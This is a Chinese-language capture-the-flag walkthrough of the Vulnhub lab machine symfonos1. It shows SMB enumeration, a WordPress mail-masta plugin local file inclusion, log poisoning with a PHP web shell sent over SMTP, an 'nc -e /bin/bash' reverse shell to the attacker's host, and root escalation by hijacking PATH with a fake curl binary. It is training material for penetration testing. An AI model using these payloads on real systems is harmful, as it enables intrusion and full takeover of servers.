一、 部署方法
- 在官网上下载靶机ova环境:https://download.vulnhub.com/symfonos/symfonos1.7z
- 使用VMware搭建靶机环境
- 攻击机使用VMware上搭建的kali
- 靶机和攻击机之间使用NAT模式,保证靶机和攻击机放置于同一网段中。
二、 靶机下载安装
靶机下载与安装参考之前文章:搭建Vulnhub靶机详细步骤
三、渗透测试
1. 确认目标
扫描同网段机器
arp-scan -l
确认靶机IP:192.168.15.137
2. 收集信息
使用nmap工具对靶机进行深度扫描
nmap -A -T4 -p- 192.168.15.137
扫描完成发现目标靶机对外开放了22/25/80/139/445端口
先浏览器访问下80端口
http://192.168.15.137
发现只有一张图片,使用dirsearch工具扫描也没有发现其他可访问路径
dirsearch -u http:192.168.15.137
80端口暂时没有发现可利用点,前面nmap扫描发现靶机还开放了smb端口,所以我们使用smbclient工具列出靶机的共享文件夹
smbclient -L 192.168.15.137
发现helios和anonymous两个文件夹,我们依次去访问下这两个文件夹,发现anonymous文件夹没有密码也可访问,并在文件夹下发现了attention.txt。
smbclient //192.168.15.137/anonymous
在attention.txt我们发现三个密码:epidioko、qwerty、baseball,使用这三个密码尝试去访问下helios文件夹,发现使用qwerty密码可访问成功
smbclient //192.168.15.137/helios -U helios
在helios文件夹下发现research.txt和todo.txt两个文件,下载下来查看
在todo.txt中我们发现给我们透露了一个网站路径‘/h3l105’,我们通过浏览器访问下
http://192.168.15.137/h3l105
点击页面中链接,发现跳转到了 symfonos.local 域名
因此需要我们在hosts文件中添加 192.168.15.137 symfonos.local
vi /etc/hosts
保存配置后发现可以正常跳转
发现靶机站点是使用的wordpress搭建的,我们使用wpscan扫描工具扫描下
wpscan --url http://symfonos.local
扫描发现存在两个插件mail-masta、site-editor
我们使用searchsploit查找插件漏洞
searchsploit mail masta
发现三个历史漏洞,两个本地文件包含漏洞和一个SQL注入漏洞
3. 漏洞利用
由于SQL注入漏洞须在已取得后台权限的情况下才能使用,所以这里选择本地文件包含漏洞
通过路径找到payload
cat /usr/share/exploitdb/exploits/php/webapps/40290.txt
payload:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
浏览器访问payload验证,发现漏洞可利用
前面发现靶机25端口开放的smtp邮件协议,想到这里包含helios的邮件日志
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
成功包含!
接下来我们可以通过telnet远程向helios发送邮件
telnet 192.168.15.137 25
telnet连接后,我们发送邮件内容
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT
执行查询id的命令
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=id
执行成功!
4. 反弹shell
我们可以在此基础上进行反弹shell的操作
首先我们在kali上开启监听:
nc -lvnp 6666
接下来我们构造反弹shell
nc -e /bin/bash 192.168.15.135 6666
在浏览器中访问payload
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=nc%20-e%20/bin/bash%20192.168.15.135%206666
此时我们可以看到已经成功获取shell
将普通shell转化为交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
5. 提权
获得shell后,我们通过find查找SUID权限的二进制文件
find / -perm -4000 -type f 2>/dev/null
在查找结果中我们看到一个通常不属于这里面的一个二进制文件/opt/statuscheck
使用strings命令打开
- strings 在二进制目标文件或其他二进制文件中查找可打印的字符串。
strings /opt/statuscheck
我们发现在执行过程中调用了curl命令
这里我们可以建一个假的curl,追加/tmp到环境变量开头,这样系统调用curl的时候就可以执行假的curl,进而达到提权效果
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
此时我们可以看到已经成功获取root权限,并在/root目录下成功发现proof